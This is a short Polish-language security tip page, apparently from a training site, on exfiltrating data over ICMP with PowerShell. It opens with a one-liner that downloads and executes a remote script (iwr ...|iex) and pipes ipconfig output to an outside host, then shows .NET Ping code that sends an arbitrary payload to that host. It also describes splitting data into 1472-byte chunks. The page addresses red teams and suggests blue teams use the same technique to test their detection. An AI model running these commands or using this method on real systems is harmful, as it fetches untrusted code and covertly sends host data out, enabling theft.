alphasec academy

iwr aptm.in/g/icmpex|iex; ipconfig|Invoke-ICMPExfil aptm.in - eksfiltracja danych po ICMP w Powershellu to bajka

Dodatkowe informacje

Żeby Powershellem wysłać pakiet ICMP z dowolnym payloadem, wystarczy skorzystać z .NETowego obiektu System.Net.NetworkInformation.Ping:
        $ICMPClient = New-Object System.Net.NetworkInformation.Ping
        $ICMPClient.Send("aptm.in", 10, ([text.encoding]::ASCII).GetBytes("Hello, APT Masterclass|FORGE!")) 
i do hosta aptm.in poleci pakiet ICMP z payloadem o treści Hello, APT Masterclass|FORGE (co można potwierdzić za pomocą np.
tcpdump -n -i any -AAA icmp
). I wystarczą do tego uprawnienia zwykłego użytkownika. Maksymalny rozmiar payloadu ICMP to 1472, więc aż się prosi, żeby napisać prostą funkcję, która to, co chcemy wyeksfiltrowaać podzieliła na odpowiednie kawałki w razie potrzeby i.. wyeksfiltrowała.
I tak powstał Invoke-ICMPExfil, co jest wykorzystane w tym protipie.

Dla blue teamów

Red teamy wiadomo co mogą z tym zrobić, natomiast blue teamom polecam raz na jakiś czas uruchomienie tego, by wyeksfiltrować większą porcję danych, żeby zweryfikować czy Wasze systemy i rozwiązania security są w stanie to wyłapać.

Przydatne linki


Subskrybuj

Jeśli chcesz otrzymywać nowe, mięsiste protipy na maila, a także zostać czasem powiadomiony o wartościowych wydarzeniach - dołącz do subskrybentów.